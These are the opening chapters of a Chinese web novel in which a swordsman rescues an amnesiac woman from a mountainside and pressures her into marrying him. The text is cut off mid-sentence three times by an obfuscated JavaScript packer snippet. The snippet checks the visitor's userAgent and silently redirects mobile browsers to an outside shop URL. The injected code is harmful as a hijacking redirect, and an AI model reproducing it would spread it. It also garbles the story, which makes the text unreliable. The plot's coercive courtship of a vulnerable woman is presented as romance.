《失忆后被少侠捡走了》 1. 第 1 章 空气中弥漫着淡淡的草木香,耳畔不时传来阵阵雀鸟的啼鸣,清脆、婉转,但又衬得此间无比的寂静清幽。 她的头很疼,全身上下的骨头也不停地散发着疼痛之意,就好像被人从上到下打了一遭似的。 也许是晕够了,她缓缓睁开沉重的眼皮,视线从模糊到清晰,最终成功将眼前的景象看了个彻底。 她好像身处水井中,四周参天树木便是井壁,将她团团围了个严实,只露出最上方的一方天地。 光线有些昏黄,映照得树木都泛着古旧的色彩,想来天色不早了。 她呆呆地看着上方的一圆天地,由于疼痛脑子也迟钝了许多,只怔怔地看着那一小片天,脑中尽是茫茫一片。 这是什么地方? 她为何躺在这? 还有,她,是谁? 一连串的疑问如雨后春笋般冒出来,尤其是最后一句出来,她陷入了一种空落落的茫然中。 一簇蒲公英的绒花随风在天地间飘荡着,不知是那一朵蒲公英身上出来的,不知她身下的土地是何方,也不知自己要归于何处。 手指动了动,摸到的是春日迸发出生机的盈盈绿草,柔软、幼嫩,如现在的她一般。 她哪里都疼,胳膊也是,只是撑着地做起来,肌肉都一抽一抽的,引得眉心颦颦。 视线里的一圆天地被葳蕤繁茂的深林取代,这里古树参天,藤蔓伴着杂草生长,毫无章法中又带着十足的野趣。 在她所躺之地的附近几十步的距离,有一条奔腾的水流,水流湍急,若是人落进去怕是眨眼间便会被卷走,不见生死。 因为天色近黄昏的缘故,眼前的一切有些荒凉可怖,偶尔吹来一阵风,也让她觉得阴凉生寒。 山中似有野兽的嚎叫声,呜咽的长吟连绵不绝,那好像是狼。 她有潮水一般多的问题,但此刻却是茫茫然不知问些什么,且更没有人听她说话。 意识到这一点,孤寂与恐惧感袭上心头,她本就隐隐作痛的身体开始不自觉地发抖,就像一只还未学会飞翔便自巢中落下来的幼鸟,惊惧地等待着未知的危险。 也不知是受了怎样的折腾,她发髻完全散了下来,成半挽半披状,风一吹过,发丝拂动,刺得她鬓边发痒。 正待她想要勾一勾那一小撮恼人的头发时,耳畔冷不丁响起一道声音,如平地惊雷一般,生生将她吓得呼吸一滞。 “你终于醒了,都快给我等睡着了~” 恰有一阵裹着草木清香的风穿林而来,与她蓦然回首的脸碰了个正着,混沌消极的思绪猝然间清醒了不少。 也看见了自己身后盘腿坐着的人。 身后有棵两人腰粗的老槐树,树前倚着一个少年模样的人,尽管已近黄昏,光线不大清晰,还是能看出少年着一身鲜亮的白袍,一柄细细长长的剑被其用手肘压着搁置在腿上。 只大概看出是个英气周正的相貌,五官细节却探不清了。 她张了张嘴,想说些什么,但被嘴快的少年抢先了。 “你这姑娘命真大,从那么高的悬崖上摔下来,先是被树拦住了,又遇上了我,若不然不是被水冲走淹死便是在树上挂到死,运气倒是好。” “你叫什么名字?是哪里人?为何会从悬崖上掉下来?” 好似与人闲暇聊天般,少年周身萦绕着轻快疏朗的气息,话语也充斥着笑意。 只不过他问得实在是太多了,此刻大脑空空的她根本应答不了,她只能睁着一双迷惘的眼睛看着对方,漫无目的地摇着头。 垂落在少女背后的乌发随着主人的动作滑落到颈侧胸前,衬得那张脸愈发小巧白皙,让少年不由得想起长亘山的河谷,那些遍地生长的花。 只不过眼前这个像是雪玉凝成的。 正是这副玉软花柔的好颜色,才让他驻足在此地,久久不愿离去。 按着他往常的作风,救了人后便会甩袖走了,哪里还能如此耐心,他行走江湖数载,靠得可不是送佛送到西的慈悲心肠。 但他愿意为眼前的少女破一回例,甚至思绪仍不住蔓延到了今年下山前师父交代他的一件事上。 “我不知道,我好像什么也不记得了。” 许久没有开口说话,少女的声音有些干涩发哑,但在少年耳中仍旧美妙动人,比长亘山中啼鸣最好听的芙蓉鸟还要更胜一筹。 但也没忘记表达自己的诧异,他狐疑道:“什么都不记得,连自己是谁都忘了?” 少年身子前倾,将腿上的长剑抱在了怀里,一脸惊叹。 他可从未听说过能有将前尘尽忘的病症,莫不是摔傻了? 心里这样想着,嘴里便说了出来,引得少女有些愠怒。 “我没摔傻。” 她肃着脸,一本正经地反驳,奈何在少年听来声音都是软绵绵的,丝毫没有威慑力。 她可以笃定,自己除了没有过往的任何记忆,其余都是健健康康的,绝不会是这少年口中的模样。 被少女不痛不痒地反驳,少年也没有丝毫恼意,只抱着剑从地上站了起来,双臂环胸围着她走了一圈,似在思考着什么。 “唔…你说没傻便没傻吧。” 话语中满满的笑意,人也有些不着调,但嘴里都是顺着她的话,她都不知回些什么好了。 眼看这少年站起在她周围转着圈打量她,她余光也跟着转,唇瓣轻抿着,有些耐不住。 其实这少年的眼神并不算暧昧叵测,甚至可以用澄澈坦荡来形容,但这样的目光太过直白炙烈,让她有种想要遁地的冲动。 “你何故这般围着我看,不知这样很失礼吗?” 记忆虽空白了,但心中本能直觉告诉她,这是不合规矩的。 闻言,少年脚步一顿,恰好停在了她的面前,面上尽是不解。 “失礼?为何失礼,我只是看看,怎么就失礼了?” “礼又是什么东西?” 师父好似从未教过他这个,少年一时间陷入了迷茫,唯余那双明亮的眼眸一瞬不瞬地盯着她。 她顿时噎住了,明白这事不太能同这少年讲得通,干脆放弃了。 “不重要了。” 她低低叹了一声,落寞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134065|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地低下头,抱着自己的双膝,将自己蜷缩起来。 然这样,她心中并没有变得温暖,只觉得满山林的萧瑟皆侵蚀着她的骨髓,使得她肌体生寒。 她不知道自己是谁,也不知道自己的家在哪里,更是没有一个认识的人。 她好像是一个被遗弃的人。 心中的惶恐和不安让她此刻只想将自己蜷缩起来,暖一暖自己的身子。 春日里的山间仍旧带着料峭寒意,她怎么也暖不了自己,心绪更低落了。 突然,她感觉到自己的头顶被戳了戳,力道很轻,还有些小心翼翼的。 这里除了她之外,便只有那个白袍少年,戳她的人必然是他了。 正难过着,本不想理他,但见她不回应,对方又连戳了几下,恼得她也没心思难过了,抬起一双有些湿漉漉的眼睛瞪着他。 “你好好的戳我干什么!” 只觉这人没点眼力见,不识趣,难道看不出她正忙着难过,竟还来招她。 少年被其湿漉漉的眼眸弄得一怔,挑眉忍不住啧了几下道:“怎的还哭了,我记着我没用那么大力啊?” 他受师父传承,自小练武,内力雄厚,就连师父那个嘴巴严实的都常夸他是个怪才,入了这绿林江湖后便更明显,几乎难逢对手,揍人的时候更是不留情。 但他刚才分明很小心了,毕竟这姑娘看起来十分弱小,他都怕力道重了人出个好歹,没想到还是大意了。 他纳闷地搔了搔头发,只觉得不可置信,以往遇到的姑娘感觉也没有这样的,一时有些苦恼。 “不是你的缘故,我只是为自己难过罢了。” 见白袍少年误会了,她闷闷地解释道,看着周围越来越昏黑寂寥的林子,心中愈发凄凉了。 她自己甚至连这座山都走不出去,何谈以后生存,她也许没有以后了。 刚想继续将脑袋埋到膝盖上,下颚还没触到双膝,就被一物半道截了下来,生生僵持住了。 抵住她下颚的,是少年那柄长剑,剑鞘不知是什么材质,贴在她下颚的肌肤上,凉得她浑身打了个哆嗦。 她呆住了,因为低不下去头,只能仰着脑袋愣愣地看着俯视她的少年。 天色越发深沉,她只觉那双眸子清亮有神,却看不清其中闪动着的深意。 “你做什么?” 因为想哭,少女说话时还带着些鼻音,声调发闷的同时又显得乖软。 见少女不再当鸵鸟了,少年也利落地收回了剑,将剑扣在腰间蹀躞带上,半蹲下来,忽地捏住了她的脸颊肉,还好奇地摩挲了两下。 因为常年执剑,少年的指腹带着些薄茧,摩挲在少女最为娇嫩的脸颊肉上,粗粝感迎面而来,使得她蹙了蹙眉。 “你长得真可爱,不如做我的娘子吧。” “只要你给我生个孩子,我便一辈子养着你,如何?” 少年的话语烂漫,里面盛满了欢喜与期待,若不是她听清了对方的要求,甚至都不敢相信他竟能这样笑嘻嘻地说出这般冒犯的话。 她面皮开始泛红,既羞又气。 2. 第 2 章 薄暮冥冥,山林被昏暗的光线笼罩着,她更看不清少年的脸色了,只隐约能感受到其话语中的雀跃。 “你休要胡说八道!” 不过刚见面,甚至连姓名都不知晓,便对她说出这种话,简直荒唐至极! 只觉眼前少年不可理喻,她有满腹的愤怒,但脑海中却没有适合词汇来骂他。 一张脸气得微鼓,看得少年心更痒了。 好似根本看不见她的愤怒,少年施施然坐在她的对面,一副心平气和要谈事的模样。 她防备性地往后挪了挪,但又被少年追了上来。 她气恼地停下,冷着脸道:“你要做什么?” 如今荒郊野岭的,她又是这样一副模样,若是眼前这少年真要图谋不轨,她怕是真要遭殃。 但见人一副清风明月的坦荡模样,她莫名觉得对方不是那等奸邪之人。 也不管少女的冷脸,少年自顾自说起了话来,一脸的正色。 “你看,你现在什么都不记得了对吧?” 她掀起眼皮瞧了少年一眼,没说话,但态度可以说是默认的。 也不计较这姑娘应不应他,少年继续道:“既不知自己姓名,也不知自己家在何处,你现在不正是无家可归?” 这话戳到了她的肺管子,她没好气地哼了一声,脸色却更落寞了。 少女落寞的眉眼被看在眼里,使得人心都酥软了几分。 “你如今孤弱,怕是日后不好过活,不如应了我,做了我的娘子,我护着你,待你一辈子好,这不好吗?” 一副生意场上谈判的姿态,但谈的却是两人的婚姻大事。 尽管少年已经说得极为直截了当了,也将利弊掰扯了明明白白,但她仍是不能接受。 虽然她没了过往的记忆,但内心告诉她这等行为实在荒谬,她不大能接受。 无媒无聘,无媒苟合,这有违人伦纲常。 尖锐的情绪瞬间冒出了头,她蓦地沉下了脸,负气拒绝道:“不好,我不会答应的,你死了这条心吧。” 说完后,她垂眸,静静地看着自己颈项间璎珞金项圈上嵌着的绿宝石,眸中泛起阵阵涟漪。 她好像亲手斩断了自己的生路。 再度像鸵鸟一样将自己蜷缩起来,不再言语,在周身竖起了一圈高墙。 看着少女倔强而防备的姿态,白袍少年耸了耸肩,于暮色中站起了身,姿态散漫地伸了个懒腰,没有她所担忧的愤怒,只是惋惜叹道:“那好吧,既然你这样不愿,那我便走了。” 就好像那话只是随口一问,并没有让少年很在意,得到了拒绝的回应,便没了意趣,不再纠缠。 少年起身的动作很是利落潇洒,没有一丝拖泥带水,全然没有先前那副热情意浓的模样。 她低垂着的眸光颤动了几下,尖锐的情绪随着理智的到来分崩离析,她心绪开始变得起起伏伏,犹如陷在深海波涛中。 白袍少年拿着他的剑,毅然转身离去了,由发带束起的高马尾随着主人的动作随性地扫在后颈,一如它的主人般潇洒自如。 虽是春日,但山中有经年的枯枝落叶铺就在地上,少年的每一步都伴随着枯枝落叶清脆的碎裂声。 一下又一下,急促而沉重地敲打着她那颗此刻柔软又急速跳动的心脏。 少年一身白色的衣袍让他的离去并没有立即淹没在夜色里,她隐约还能看见对方与衣袍同样颜色的发带不时被山间的夜风轻轻扬起。 很轻盈,但带着让人遍体生寒的料峭冷意。 也许是被山风凉了心,窒息感扑面而来,原本坚硬的心防也一寸寸瓦解,开始茫然起来。 萍水相逢的陌生人,自己什么都给不了人家,人家凭何要将她这个记忆全无的孤弱带在身边照拂呢? 能将她从悬崖上救下来,又在这深山中守了她不知多久,怕已经是发了善心了,她前脚刚言之凿凿地拒了人,实在没脸再要求什么。 呆呆地坐在草叶杂乱的地上,眼眸下意识凝着正在远去的那道背影,五脏六腑好似都因为纠结而被拧成了麻花,煎熬异常。 狼嚎声顿起,忽地打破了少女的怔忪,她脑袋倏然间清明了起来。 她不想死,她更不想带着迷惘死去,她想知道自己是谁。 名节当真比这些东西还要重要吗? 重要到她宁愿用生命去捍卫? 不,她不愿去做这样的事。 夜风中轻颤的心此刻有了落点,她动了动微微颤抖的唇瓣,唤住了那脚步声簌簌的少年。 “等等!” 害怕眼前这唯一的生路因为自己的迟缓而彻底斩断,她那一声虽带着颤,但声音却足够亮,那踩在地上咔嚓咔嚓的脚步声立即顿住了。 但很快又响了起来,不过这次是往回走了,步履节奏比先前听起来更快,更雀跃。 看着白袍少年再度回来,腰间的葫芦也在夜色中轻晃,她一时间又失去了先前的勇气,不敢迎上对方灿烂的眼眸。 她没有及时说话,但兴冲冲跑回来的白袍少年却有许多话与她说。 “你是不是改变了心意,要应我?” 尽管在这黑沉沉的山林中看不清少年的面色,但这短促的一句话完全暴露了他的心境,尽是压抑不住的欢喜。 箭已离弦,也没有什么好否认的,与那双熠熠生辉的眼眸短暂地对上了一瞬,她低下头,轻轻嗯了一声。 先活下来吧,活下来才有无限可能,就这样死了太不值得了。 少年耳力过人,自然能将少女那低低的声音捕获,他看起来更快乐了。 “嘿嘿~” 他开心极了,清朗愉悦的笑回荡在寂寥深沉的夜里,让山林减了几分森冷可怖。 眼见着他蹲下来,凑近她道:“我两也算是心有灵犀了,我刚要扭头回来寻你,你便出声了。” 毫不介意地上的尘土腐叶,少年在她面前半跪着说话,一双眼眸仿佛带着温度,让她都觉得仿佛没有那么冷了。 “为何又要扭头来寻我?” 好奇心驱使她问道,很诧异这人为何还会有回来的念头,明明都遭到了她的拒绝。 大概是得偿所愿,少年心情很好,瞧着笑盈盈地,一边举止亲昵地摘掉少女头发上沾着的草叶,一边欢快解释道:“我怕你死了,山里野兽多,你要是被狼吃了我会难过的,我带你下山啊!” 他说得轻巧,好似先前的要求都是自己臆想出来的,一时语塞。 早知这少年是个有恻隐之心的,她便不急着张口了,以至于自己一时嘴快将自己赔了出去,若是再反悔又是一番变故。 她强颜欢笑,木木说了句:“你真是个好人。” 少年摘草叶的动作一顿,隐于夜色中的面容露出了一丝新奇,满脸兴味道:“你是第一个这样夸赞我的人,真新鲜。” 也没想接这句话,就看着少年摘完了她头上的草叶,站起身朝地上的她伸出了手。 “快起来,娘子,我们下山去。” 他唤得如此自然,仿佛已经唤了千万遍,自然到她起初没反应过来,甚至还应了一声。 “哦,好。” 待触上少年温热带着薄茧的手掌,她恍然间回过神来,一张脸青红交加。 然不待她说出什么扭捏的话,人就如拔草一般被从地上薅了起来,加上脚踝不知何时扭了,她压根站不稳,顺着对方本就不小的力道径直扑了过去。 她将人扑了个满怀,也被人抱了个满怀。 很陌生,但很温暖。 “娘子你真热情,不过现在不是时候,你莫急。” 贴在少年胸膛前的侧脸感受到了连绵不绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134066|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑,那笑声摩挲着她的侧脸,也让她那颗名为羞耻的心跟着乱颤。 她挣扎着从对方怀中出来,勉强立住了自己,忍着脚踝的疼痛羞着一张脸反驳道:“你在想什么乱七八糟的,我只是伤了脚才站不稳的,何来的热情?” “还有,别那么叫我。” 少女摇摇晃晃地站着,如暴风雨中微微颤抖的柔嫩花枝,看得少年直皱眉。 他不由分说地攥住了少女柔玉一般的腕子,将人扶住了,谈笑般道:“原是这样,那更得我搭把手了,快别乱动了,小心摔了。” 迎着少女有些不忿的目光,他理直气壮地回应了第二句话。 “为何不能那么叫,你先前分明答应了当我娘子,难道你想反悔?” 说到最后两字,不用抬头她仿佛都看到了对方不虞的神情,尤其是身上还散发出一股极为不好惹的气息,明显是怒了。 她当然并没有那个意思,既答应了便要守信誉,尤其是目前她还未脱险,她更不会自寻死路。 头摇得像拨浪鼓,她眼睛瞪得圆圆的,慌里慌张道:“没有没有,我、我只是不习惯罢了。” 说完,心中蓦地升起一股难为情,尤其感受到手腕还被这个今日刚认识就成为她夫君的少年扣着,她更窘迫了。 听了少女期期艾艾的辩解,少年也松了一口气,这才继续露出了笑脸。 “那有什么,多听几声就习惯了,瞧你脸皮薄的~” 目光触及到少女轻点在地上的左脚,又瞥了一眼她额上的伤口,他没给少女再推脱的机会,往地上一蹲,回头盯她道:“山路不短,娘子行动不便,我背娘子下山,快上来!” 明明今日才刚认识,这夫妻关系也是夹生的,偏生这少年表现得实在熟稔,好似两人是成婚机载的恩爱夫妻,没有一丝生涩。 大概自来熟的人便是这般了。 看了眼黑沉长夜中的山林,她没有逞强跟对方犟着来,老实地倾身爬上了少年看着清瘦但十足修长有力的身板。 夜里的山林有些冷,她指尖发凉,但贴上那具温热坚实的身子,她身心都跟着温暖了起来。 若是自己再端着男女大防,犟着性子自己走,折磨自己不说,怕是天亮了都不一定能走出去,她不是没苦硬吃的人。 腿弯被揽住,新鲜出炉的夫君将她驮了起来,轻轻松松地将她往上颠了一下,才迈步向前走。 料峭的夜风吹在面上都不冷了,随着少年行走间轻微的颠簸,她甚至有些犯困。 忽地,背着她的少年出声了,说起了两人这半晌一直忽略的东西。 “差点忘了同娘子说了,我名江见,你以后可以唤我的名字,当然,也可以唤我夫君。” 高束着的马尾也随着他的步伐不时刮蹭在她颈子上,弄得她痒痒的。 她清醒了几分,将江见充斥着浓浓笑语的话听进了耳,轻轻地嗯了一声,也不言语,更没有唤他。 江见虽有些失落,但仍是热情不减地搭着话,心绪欢快的他自然而然地忘了先前的一些东西,竟继续问她道:“你叫什么名,娘子?” 闻言,背上伏着的少女讶然地抬起头,迎上了江见此刻偏过来的一双黑曜石般的眼眸,错愕道:“你忘了,我什么都不记得了,你还问我姓名,你也失忆了吗?” 若不是此刻双手都用来揽着媳妇,江见定要拍一拍脑门的,脚步顿了顿,只听他打着哈哈笑道:“嘿嘿嘿,一不小心给忘了,瞧我这脑子。” “没关系,我现在给你取一个,以后你就有名字啦!” 仿佛被江见的洒脱肆意感染,她也跟着弯了弯眸子,面上浮现出淡淡的期待,想看看他能给自己想出个什么名字来。 “好啊。” 少女轻笑着回了一句,身子不自觉地往身下的热源靠了靠,心绪静谧又安宁。 3. 第 3 章 静谧的山林中,江见偶尔踩到地上的枯枝,咔嚓咔嚓声回荡着。 这声音不算刺耳,也极有韵律,因而她并不觉吵闹,反而听着别有意境。 只见江见沉吟了片刻,忽而回头兴致勃勃道:“叫小美如何,衬你!” 原本见江见那副满脸认真的姿态,她真以为江见给她盘算出了什么好名字,然一听他话语,立即就露出了不可置信的神情。 “哪里衬我了?少胡说,我才不要这个名字,你换一个。” 被这个名吓得不轻,她神情一言难尽,满腹牢骚拒绝道。 被如此明确的拒绝,甚至说是嫌弃,江见有些意外,神情迷惑了一阵,想说些什么,但余光瞥见少女由于恼火而微微鼓起的脸,他又咽下了话。 “好吧好吧,既然娘子不喜欢就再换个。” 江见看上去是个脾气很好的少年,比如此刻,他异常迁就自己,好似她说什么便是什么。 但接下来的名字还是让她一言难尽。 “那叫香香如何,你身上好香,我特别喜欢。” 少女仍旧鼓着脸回了句:“不要。” 江见再度叹息一声,继续道:“那软软?” 从第一回触碰到少女的身体时,江见便深感其柔软的身子骨,软绵绵的像条无骨蛇,不过不似蛇身冰凉粘腻,少女的身体温暖柔滑,抱着尤其舒服。 听到江见死不悔改地继续取这样的名字,她闭了闭眼,睁开后满是无奈。 “怎么,还是不喜欢吗?” 江见察觉到背上的少女微微轻叹,意识到自己又没讨人欢心,一时有些落寞。 “别再用叠字了,像个小猫小狗一样,乳名都没那么叫的。” “我难道就像小猫小狗吗?” 虽然听起来可可爱爱的,但是她还是想要个像人的名字。 这话提醒了江见,他先是摇头否认了她的话,紧接着眸光一亮,想到了一个好的,眉开眼笑道:“有了!” “云桑,如何?” 这一次再没听到什么香香软软的字眼,她神色松弛,神情意动。 “倒是个正常的名字……” 乍然听到一个水平截然不同的,她讶然地看了江见一眼,正好对上少年亮晶晶的月牙眼。 嘴里带着认可意味的话不自觉嘀咕了出来,江见也很会顺杆子往上爬,当即便欢喜地将人往上颠了颠,扬着灿笑将这事给定了下来。 “既如此,那娘子日后便唤云桑了!” 这个叫做江见的少年笑容中带着一股很强的感染力,她被对方明媚和轻快的情绪包裹着,原本沉郁的心情也昂扬了起来。 “嗯。” 倒也没什么可埋汰的,迎着少年粲然的笑,她轻轻点了点头,轻嗯了一声。 往日记忆不可寻,来日,她便唤云桑了。 …… 山风一波又一波吹拂过来,若是云桑一个人,定然会在夜风中瑟瑟发抖,抖如筛糠。 但身下人的身躯太过温暖,像是一轮高悬在炽阳,将热意源源不断浸染在她每一寸肌肤,驱散了山风的冷意。 虽今夜才认识江见,但不过须臾,云桑便领教了他爱说爱笑的性子。 就连此刻那张嘴也没闲着,叭叭地说些听起来十分有趣的话。 “今天白日进山的时候,我我看到两只土拨鼠在打架,娘子不晓得,它们你推一下我推一下的模样尤为逗趣,若是当时娘子在就好了,我们可以一起看热闹。” “不过今日没看到也不碍事,明日我还过来,你若是想看我带你来,抓两只打给你瞧热闹。” 江见絮絮叨叨地说着,云桑却在他极有韵律的话语声中渐渐困乏,眼皮子开始耷拉,本就昏沉难受的脑袋慢慢垂在了江见的肩上,语调含糊道:“你自己去便好,我就不去了。” 云桑才有没有为了看土拨鼠打架再累死累活爬山的兴趣。 情绪正昂扬的少年似是感受到了身后少女的无精打采,回头盯了一眼,正好瞧见少女缓缓阖上的眼眸,还有贴在他肩头微微挤压而鼓出的脸颊肉。 见此,江见顿时心痒难耐,若是空出手,他定要去戳一戳的。 人睡下了,他也老实地闭上了嘴,怕扰了少女安眠。 江见走得平稳,云桑一路也睡得沉稳,酣睡在自己梦里,并不知半路上两人曾遇到一头觅食的独狼。 漆黑的夜色里,江见顾及着身上睡意正浓的少女,笑意不减,只是在落到那流着涎水的狼身上时没了先前的暖意。 “你这畜生来得真不是时候,下辈子别做狼了。” 只小幅度地弹了弹指尖,漆黑的夜幕被一道细小的银色流光划过,无声无息地穿过独狼的头骨,扎在不知哪个树干上。 甚至连嚎叫都没来得及,便有一重物落地的声音在山林间响起,不过并未惊醒酣睡的少女。 江见也懒得去找自己那枚银针了,只一心一意背着自己新得的娘子步履平稳地走着,心想明日这头倒霉的狼就会被山林里出来觅食的野兽吃得一干二净。 云桑做了一个很美妙的梦。 在梦里,云桑变成了一朵漂浮在水面上的粉蕊白色无名花朵,身下是潺潺流动的溪水,身畔是无数白色花瓣零落浸润在溪水中,再经由暖烘烘的日头一照,云桑浑身都萦绕着一股暖香。 暖阳,清冽的溪水,无名的花香。 三者奇异地融合成了一股异常好闻的味道,她睡得愈发沉醉了。 …… 再醒来的时候,云桑是被一阵狗吠声惊醒的,伴着狗吠声来的,还有少年近在咫尺的不虞轻斥声。 “别叫了,小狗,要把我娘子吵醒了~” 江见的声音压得很低,但狗吠声来得突然,他来不及制止,也猜到了背上的人会被吵醒,他说完话便下意识朝后看了一眼。 果然看见了少女朦胧惺忪的双眸,水盈盈的,带着几分刚醒的懵懂清澈。 江见方才被狗吠声弄出来的郁气瞬间散了个干净,眼眸弯弯道:“醒了?这狗叫得突然,将娘子吵着了。” 脱离了梦境,云桑仍旧能嗅到梦里的暖香,才知这才不是什么梦里的味道,而是江见身上的。 人刚醒的时候总是要浑浑噩噩一会,云桑也不是什么警惕机敏的性子,将有些陌生的目光投向与她含笑说话的少年。 那一瞬间差点没想起来这人是谁,云桑心中正要一窒,听到少年那声娘子这才稳了下来,忆起方才自己做了笔大生意,她有了个夫婿。 心中幽幽地叹了口气,她嗯了一声柔声细语道:“无碍,我睡好了。” 说完,云桑将目光转向不远处,瞧见眼前光景已然大变,不再是黑漆漆的危险山林,而是犬吠声包围的村中屋舍。 对着他们吠的是一只才几个月大的小狗,毛色在夜里还看不真切,但声音十足的清脆,还夹杂着未褪去的奶音,听起来奶凶奶凶的,倒有几分可爱。 此刻屋中还有昏黄的光线,不似油灯的明亮,十分昏黄,应当是蜡烛。 虽然记忆没了,但云桑残留的意识告诉她,油灯绝不是这般黯淡。 只见江见背着她往屋舍走去,狗是个看家护院的好手,见江见靠近,吠得愈发厉害了。 也正因为如此引出了屋子里的人。 是一对比较年轻的夫妻,看起来已经躺下了,此番忙乱地起来,衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134067|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 襟都还是有些凌乱的。 在他们身后,有个五六岁的小姑娘,正扒着门框,露出一颗小脑袋,睁着一双怯生生的眼睛看着他们。 “什么人!” 大晚上的来人,还是陌生人,无论是谁都会提起警惕之心,夫妻二人神色严肃道。 云桑不解他要做什么,疑惑地瞥向江见,只瞧见了少年淬着灿烂笑意的侧脸。 “这位大哥莫慌,我们没有恶意,只是天色晚了,我和我娘子途经此处想找个人家借宿,不知可否行个方便?” “房钱自然也不会少了,绝不会让大哥为难。” 少年的模样实在无害,又始终带着热情礼貌的笑,那对夫妻下意识放下了大半的戒备,尤其看到少年背上模样潦草柔弱的少女,他们更放心了。 “原是如此,那你们小夫妻巧了,我家正好还有一间空房,不过一晚的事,咱家也不计较,快带着你娘子进来吧。” 夫妻两走上前来,将这对少年模样的小夫妻看了看,心中的防备完全被善意取代。 风尘仆仆的,小姑娘额上还带着伤,神色萎靡的状态,看一眼便顿生怜悯,那端着烛台的女子看了一眼丈夫的脸色,也在上面看出了松动,连忙说话,将人请进来。 江见灿笑着对这对收留他们的夫妻道谢,友善乖巧的笑愈发赢得了夫妻两人的好感,怎么看都像是个单纯无害的乖乖少年。 但云桑的直觉告诉她事实并没有那么简单。 这对夫妻中的丈夫应当是个猎户,屋外的栅栏上还挂着一些她辨别不出来的动物皮毛,还有一些稀奇古怪的打猎用具。 云桑不是很舒服,尤其是睡醒后脑袋又开始突突的疼,全程只是朝着那对夫妻中的女子笑了笑,将话都留给了江见,整个人有一种无力的安静感。 简单交流了几句,得知这家人丈夫姓萧,妻子姓柳,成婚七年,有个六岁的女儿,丈夫打猎,妻子做些小生意,生活还算殷实美满。 夫妻两人被安排到了西侧的一个空房里,夫妻两人说这个空房是前年才盖出来的,夫妻两人预备再生个男娃娃,给儿子未来当新房用的。 不过孩子还没出来,就先空着了,倒是今夜给了云桑两人便利。 江见嘴甜的向夫妻两人道了谢,背着一言不发的云桑向着空房走。 柳氏看着一双少年人的背影,悄声跟丈夫说小话道:“好漂亮的两个孩子,要不是他们有影子,我都以为山里精怪成精下来吃人了。” 闻言,萧大郎先是无奈地看了一眼自己满脸讶异的妻子,随后也跟着点了点头,低声道:“哪有什么精怪,不过你说得不错,这对小年轻确实生得俊俏,就不知是如何出现在此地的。” 夫妻两人又是说了一会悄悄话,但什么也没探讨出来,便放弃了。 江见背着人到了屋里,屋内燃起了烛火,云桑眼前亮堂了许多,就着柳氏铺好的被褥,她被江见轻轻放了下来坐在了床上。 江见转过身子来看她,借着微微烛火,云桑总算看清了对方的模样。 有些意外,云桑看见了一张过于漂亮的脸。 长眉浓翠,鬓若刀裁,眼若桃花但又略显圆亮,少了几分桃花眼特有的风流多情,多了几分清澈灵动,一眼看进去,只觉自己身处一汪清泉中。 少年的鼻子又高又翘,鼻头微圆,透着几分可爱。 唇瓣的薄厚恰到好处,颜色更是鲜妍好看,如薄涂了一层唇脂,殷红诱人。 虽然烛火昏黄,但云桑仍能看出少年肤色白皙,唯一可以看作瑕疵之处便是肤质不够细腻,带着些风里来雨里去的粗糙。 带着些许瑕疵的美,却让云桑更觉得真实,更鲜活。 4. 第 4 章 这是一个相貌很漂亮的少年,但周身的英气又不会让人觉得他有丝毫的阴柔女气,只觉得这是个赏心悦目的青葱美少年。 世人无论男女,都喜爱美丽的东西,失了记忆的云桑也一样,看着江见这副俊俏的面庞,她愣了几息,心中的郁气似乎也在这一刻散了稍许。 云桑是意外的,在山上随手捡了自己的游侠少年竟有这样不俗的皮相,实在惊艳。 在云桑愣着的几息中,江见靠近了她,在她跟前蹲了下来,细长的手指攥住了云桑的脚腕,刺激得她瞬间回了神,颤着腿便要缩回来,但她低估了江见的力道,她做了无用功。 “你要做什么?” 猎户家的床不高,尽管江见半蹲着与云桑的差距也不大,受惊之下,云桑按在了对方的肩膀上,让江见的动作顿了顿。 那只手是如此的纤细柔软,精致得像是冰玉雕刻出来的,以至于江见瞧了好几息才应答。 “在山上便看出你脚伤了,我给你瞧瞧。” 少年的双眸中盛满了善意,神色中全然没有令云桑不适的贪欲与侵略性,只有少年人坦荡的关切。 云桑渐渐便停了动作,任由江见查看起她的伤势来。 这样草率结成的婚事总是让人没有那么多底气,当鞋袜三两下被褪去,未着寸缕的脚暴露在空气中,也暴露在这个今夜刚认识的夫君眼前,云桑面颊上不受控制地升起热意,心中被羞耻盈满了。 尤其是当这个便宜夫君的手将她的脚攥在手中时,云桑强忍着身体的轻颤,刻意去忽略少年指腹间滚烫的温度,想要低下头回避,不看这一幕,然江见却是不安生。 “娘子的脚真好看,小小的,又白又软,像个馒头。” 